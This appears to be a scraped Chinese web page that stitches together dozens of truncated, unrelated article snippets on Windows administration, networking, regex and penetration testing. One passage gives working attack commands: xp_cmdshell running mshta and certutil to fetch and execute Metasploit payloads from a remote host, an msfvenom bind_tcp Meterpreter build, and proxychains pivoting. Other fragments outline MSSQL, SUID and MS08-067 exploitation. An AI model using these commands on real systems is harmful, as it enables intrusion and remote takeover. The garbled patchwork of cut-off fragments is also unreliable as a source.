windows XP cmd命令大全 一，ping 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是
无论是Unix、Linux、FreeBSD、Ubuntu，还是路由器、交换机，都会产生大量的日志，而这些，一般会以syslog的形式存在。在RFC 3164中定义了syslog是一种日志协议，syslog数据包的大小为1024字节，包含Facility, Severity, Hostname, Timestamp和Message信息。syslog服务器默认使用UDP 514号端口。简单的说，syslog可以告诉管理员:谁（Facility)，什么时间(Timestamp)，什么地方(Hostname)做了什
了解了正则表达式，想必一般情况下的匹配都不会出现什么问题，但是如果一些特殊情况，可能需要用到一些更高级的正则表达式匹配操作，本节我们来说明一下正则表达式的一个较常用又比较重要的知识点——零宽断言。 实例引入 首先我们来看一个例子，这里有一段问答对话： 问：我用的是Windows XP+Service Pack 2，为什么无法安装输入卡号和密码的控件？ 答：在Windows XP+Service Pack 2、Windows 2003等操作系统中，用户可以自己选择是否安装控件。 问：为什么我看到的卡号输入框
在Windows XP中，我们可以通过“事件查看器”的事件日志服务查看计算机的开、关机时间。因为事件日志服务会随计算机一起启动和关闭，并在事件日志中留下记录。
前几天写过一篇关于Responder的文章《浅析如何让你的Responder更强大》。在那篇文章中，我们修复了Responder 实现的SMBv1&SMBv2的问题：使其能够兼容net use客户端的多次Hash捕获，并修复了SMBv2实现存在的bug。
为了达到这个目的，我们主要从四个方面入手： 1、减少磁盘空间占用 2、终止不常用的系统服务 3、安全问题 4、另外一些技巧
木马又称“间谍软件spyware”、“后门程序backdoor”，最新发展为“恶意程序”或叫“流氓程序”。
链接：https://pan.baidu.com/s/1Ljg3aJiaarf2vYHEJ91fiQ 提取码：xxmt
想要了解NTFS，我们首先应该认识一下FAT。FAT(File Allocation Table)是“文件分配表”的意思。对我们来说，它的意义在于对硬盘分区的管理。FAT16、FAT32、NTFS是目前最常
说到“网上邻居”，相信很多人都很熟悉。但是说起“网上邻居”的工作机制，可能大家就不太清楚了。
最近心血来潮，突然想起来在XEN、KVM、VM、Openvz这些虚拟化之外还有一款尤物。当然，他就是windows的产品。一直听朋友说他们公司在用这个东西，说怎么怎么方便之类的，索性，今天我也来尝试一
SUID可以让调用者以文件拥有者的身份运行该文件，所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件，那么我们运行该文件的时候就得获得root用户的身份了
微软推出Windows Server 2003已经有一段时间了，但是，由于它是一个面向企业用户的服务器操作系统，所以，没有引起更多个人用户的注意。实际上，简单地改变一下系统的设置，您也可以将Windows Server 2003当成个人电脑的操作系统来使用。而且，大部分曾经测试过Windows Server 2003的用户都反映，这一操作系统给用户的感觉要比Windows XP稳定，比Windows 2000速度更快。 Windows Server 2003操作系统的默认设置大部分都是按服务器的需要进行配置的，它只提供服务器上的组件和管理工具。为此，笔者就相关的问题查阅了国外一些参加Windows Server 2003操作系统评测的专家撰写的资料，在对正式版的Windows Server 2003进行研究和测试后，总结出以下十条经验技巧，可以使您的Windows Server 2003系统无论从界面还是功能、性能上都比较接近个人电脑操作系统。 但需要提醒您的是，由于Windows Server 2003推广的时间较短，而且属于服务器操作系统，一些硬件由于缺少驱动程序可能无法正常使用。另外，最大的问题是一些在安装时需要区分服务器版本和个人用户版本的应用软件，在安装时将很难按照用户的意愿进行。这些问题都暂时还没有比较理想的办法可以解决。Windows Server 2003可以和Windows 98、Windows XP安装在同一台电脑上。 Windows Server 2003 自动登录 每次启动Windows Server 2003，系统会要求您在键盘上按下“Ctrl+Alt+Del”键（如图1），然后输入用户名与密码才能登录系统。对于服务器来说，这样有助于提高系统的安全性；但对个人用户来说，这样就有些麻烦了。所以，我们要做的第一件事情就是将系统改为自动登录，要做到这一点我们有两种方法可选。
由于新版的 KV 、金山、 瑞星 都加入了对网页、 插件 、邮件的随机监控，无疑增大了系统负担。处理方式:基本上没有合理的处理方式，尽量使用最少的监控服务吧，或者，升级你的硬件配备。
本篇文章是MSSQL数据库漏洞提权复现记录，记录了实际中常见的MSSQL数据库漏洞并如何利用，对漏洞底层的原理简单分析，主要分为五个部分：MSSQL简介、MSSQL各版本安装、MSSQL基本操作、MSSQL漏洞复现提权和自建内网环境实战。 本篇文章由浅入深地介绍了系统存储过程控制不当导致提权如sp_oacreate和sp_oamethod、扩展存储过程使用不当提权如xp_cmdshell和xp_regwrite、沙盒提权及映像劫持。在学习MSSQL过程中也阅读了几十篇中英文MSSQL相关技术文章，最终按照作
大多数 K2 blackpearl 运行时操作都需要 Microsoft 分布式事务处理协调器 (MSDTC) 支持，以确保操作事务性一致。如果没有 MSDTC 事务支持，则相关联的 K2 blackpearl运行时操作将无法进行。 通过网络实现的 MSDTC 功能取决于通过网络实现的 RPC 功能。通过防火墙使用 RPC 功能需要打开特定的端口，以满足 RPC 动态端口的分配要求。如果在 K2 blackpearl 和远程服务器之间有防火墙，请按照如何配置与防火墙一起使用的 RPC 动态端口分配中的步骤
SMB又名网络文件共享文件，顾名思义其作用是用于用户与服务端之间的文件交互。默认端口为139，445。SMB的认证过程在这里就不重复描述了，具体可以看我上一篇写的文章，路由器抓包分析之SMB篇。在认证的时候细心的同学一定会发现在Windows下访问SMB服务器会默认使用当前用户hash去向SMB服务器发起认证。下面的实验便与这个机制有关。
有个刚结束的项目，在西山，不对，应该叫做金庭镇，好多年了，总是改不了口。客户热情邀请咱过去玩一天，好久没去那边玩了，又是客户邀请，实在不能拒绝，就兴冲冲地去了。
WMI 全称为：Microsoft Windows Management Instrumentation (WMI)
这一篇的内容主要讲的是关于利用数据库服务来进行提权操作，今天的主要内容是利用mysql、mssql进行提权。
前言： 在深入研究生渗透测试的各个阶段之前，我们应该初步掌握漏洞利用的相关知识。就各阶段工作对渗透测试成功的影响而言，信息收集阶段工作和信息侦查阶段工作要比漏洞利用阶段工作的作用更大，但是从工作乐趣而言，获取shell(到既定目标的远程连接)或诱使他人在克隆的网站输入密码，反而比信息收集的工作有趣的多。
这篇文章主要介绍了win2008 r2 hyper-v虚拟机的安装使用图文教程,需要的朋友可以参考下
只要涉及到数据库的操作，那么使用事务就是难免的。如果我们使用LINQ to SQL作为数据访问层，那么LINQ提供的SubmitChanges()方法自身就包含了对事务的处理。当然，我们也可以利用System.Data.Common.DbTransaction对事务进行处理，我们可以调用DataContext中Connection的方法BeginTransaction()启动事务，然后根据情况进行回滚或提交。例如是这样一段代码：
Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统，应用领域十分广泛，从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。
在渗透测试中，提升自己的权限是经常遇到的问题，往往在渗透中最容易获取的权限就是一个webshell，如果网站是架设在Windows系统上的，这时就可能遇到这样的问题，还有一种情况是在做横向渗透的时候，收集到一些可以远程连接桌面的帐号，这是也需要，在实际的渗透中有很多的地方会需要这个操作，这个系列就主要介绍各种提权的方式。
近日，国外安全公司FireEye宣布发现新型IE 0day漏洞攻击，该漏洞影响Windows XP和Windows 7系统上的英文版本IE浏览器。不过FireEye认为，其他语言版本的IE很可能也会被攻陷。目前国内尚未出现此漏洞攻击，不过Windows XP和Win7用户也需要高度警惕。 据分析，最新IE 0day漏洞主要攻击Windows XP系统上英文版IE7、IE8浏览器和Windows 7系统上的英文版IE8浏览器。美国市场研究公司StatCounter和Net Applications数据
1、如果你不在局域网内使用共享服务，干脆将“本地连接‘属性中的“网络的文件和打印机共享 ”卸载掉，默认共享就可以彻底被关闭了
大家好，上期分享了一篇Shiro Oracle Padding反序列化漏洞无key的实战文章，这期讲一个MS12-020蓝屏漏洞的真实利用过程。这个案例源于2013年我在读研期间，印象是比较深的。在学校期间，我偶尔会帮网络部那边处理一些网站故障，还帮忙修补过安全漏洞。在那个年代，大学网站的漏洞是非常多的，基本上没有什么WAF设备防护。期间有一个大学网站大概是长时间没有人用，崩溃了，访问一直是卡死状态，服务器密码学校那边也不记得了。于是我就来了一顿操作，帮忙恢复了一下，中间也踩了不少坑。首先肯定是要想办法拿到服务器权限，然后帮学校把密码读出来，下面凭着记忆，把过程写出来。
52：在NTFS文件夹中，可以为用户配置（ 6 ）种标准权限；在NTFS文件中可以为用户配置（ 5 ）种标准权限。
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项： 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的，所以在不出网主机上无法访问和执行，最终导致无法上线。 思路拓展： bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多，都要用到MSF虚拟路由，只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事，不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由，再用MSF中的Socks模块开一个Socks代理，设置选项可以不做修改，直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件，在底部填入127.0.0.1和1080端口，然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功？ proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件，通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole，配置好handler监听模块bind_tcp相关选项执行监听，在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向：
首先，这几个端口都是与文件共享和打印机共享有关的端口，而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝，就是利用的445端口。
本文为第一期，着重探讨以下内容，如果你还有其他问题无法解决，欢迎留言，下期一起解决~
其中光盘安装是最普遍的，也是最简单的我就不写了。我安装的这台机器没有光驱，也没有软驱！！！只有网卡和一个128MU盘"o"
安装Linux共有五种方法 1、光盘 2、硬盘 3、NFS 映像 4、FTP 5、HTTP 其中光盘安装是最普遍的，也是最简单的我就不写了。我安装的这台机器没有光驱，也没有软驱！！！只有网卡和一个128MU盘"o" 一、硬盘安装分两种情况： A、是从Win系统上安装 B、是从别的Linux启动安装 这里介绍大多数人使用的Windows系统安装， 第二种方法我还没有调过 1、安装系统－－－RedHat 9.0，（Fedra core 1和2类似，我安装FC3t
0x00 微软杀毒软件停止/启用 由于windows Defender的MsMpSvc Microsoft Antimalware Service 的进程内存使用率高(一般是在服务器上)
域名系统（英文：Domain Name System，缩写：DNS）是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库。简单来说，就是输入网址，服务器给你解析成ip地址，反之也一样。
我写下这个文章不是来说Linux的坏处，也不是来用户Windows系统，只是用他们之间的差异化再根据目前市场的行情做出一些判断而已。
在在Windows 系统中，在“我的电脑”上右击“管理”，依次选择“系统工具→共享文件夹→共享”，就会看到一些带有美元“$”标记的符号就是Windows系统默认共享，也就是Windows在安装完毕后自动共享的功能。
XP下载站 win10控制面板闪退怎么办 使用win10控制面板进行设置的时候，发现控制面板刚一打开就出现闪退的情况，或者过一会就自动退出了，win10控制面板闪退怎么办呢?为此问题困扰的用户，快来
1. gpedit.msc—–组策略 2. sndrec32——-录音机 3. Nslookup——-IP地址侦测器 ，是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。 4. explorer——-打开资源管理器 5. logoff———注销命令 6. shutdown——-60秒倒计时关机命令 7. lusrmgr.msc—-本机用户和组 8. services.msc—本地服务设置 9. oobe/msoobe /a—-检查XP是否激活 10. notepad——–打开记事本 11. cleanmgr——-垃圾整理 12. net start messenger—-开始信使服务 13. compmgmt.msc—计算机管理 14. net stop messenger—–停止信使服务 15. conf———–启动netmeeting 16. dvdplay——–DVD播放器 17. charmap——–启动字符映射表 18. diskmgmt.msc—磁盘管理实用程序 19. calc———–启动计算器 20. dfrg.msc——-磁盘碎片整理程序 21. chkdsk.exe—–Chkdsk磁盘检查 22. devmgmt.msc— 设备管理器 23. regsvr32 /u *.dll—-停止dll文件运行 24. drwtsn32—— 系统医生 25. rononce -p—-15秒关机 26. dxdiag———检查DirectX信息 27. regedt32——-注册表编辑器 28. Msconfig.exe—系统配置实用程序 29. rsop.msc——-组策略结果集 30. mem.exe——–显示内存使用情况
在后渗透测试阶段我们主要的目标就是上传工具，权限提升，擦除攻击痕迹，安装持久化后门
Windows安装包：https://public.xp.cn/upgrades/phpStudy_64.zip
以社工等方法获取到xp主机的shell 通过metasploit会话，使用Windows xp靶机作为跳板，扫描和攻击内部网络主机
电脑是现在最常用的工具之一，有些用户遇到了桌面文件无法删除问题，想知道如何解决，接下来小编就给大家介绍一下具体的操作步骤。
漏洞利用，（service postgresql start启动msf数据库 ）通过msfconsole命令启动matesploit漏洞渗透平台。通过search ms08_067模块进行利用。
QEMU（Quick EMUlator）是一个开源的虚拟机，主要用于运行不同的操作系统和应用程序，而不需要在每个目标平台上进行实际安装。
一、系统优化设置。 1、删除Windows强加的附件： 1） 用记事本NOTEPAD修改/winnt/inf/sysoc.inf，用查找/替换功能，在查找框中输入，hide（一个英文逗号紧跟hide），将“替换为”框设为空。并选全部替换，这样，就把所有的,hide都去掉了， 2） 存盘退出， 3）再运行“添加-删除程序”，就会看见“添加/删除 Windows 组件”中多出了好几个选项；这样你可以删除好些没有用的附件 2、关掉调试器Dr. Watson； Dr.Watson是自带的系统维护工具，它会在程序加载失败或崩溃时显示。运行drwtsn32，把除了“转储全部线程上下文”之外的全都去掉。否则一旦有程序出错，硬盘会响很久，而且会占用很多空间。如果你以前遇到过这种情况，请查找user.dmp文件并删掉，可能会省掉几十M的空间。这是出错程序的现场，对我们没用。然后打开注册表，找到HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AeDebug子键分支，双击在它下面的Auto键值名称，将其“数值数据”改为0，最后按F5刷新使设置生效，这样就彻底来取消它的运行了。 另外蓝屏时出现的memory.dmp也可删掉。可在我的电脑/属性中关掉BSOD时的DUMP 3、关闭“系统还原”：鼠标右健单击桌面上的“我的电脑”，选择“属性”，找到“系统还原”，如果你不是老噼里啪啦安装一些软件（难道你比我还厉害？？），你也可以去掉，这样可以节省好多空间。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
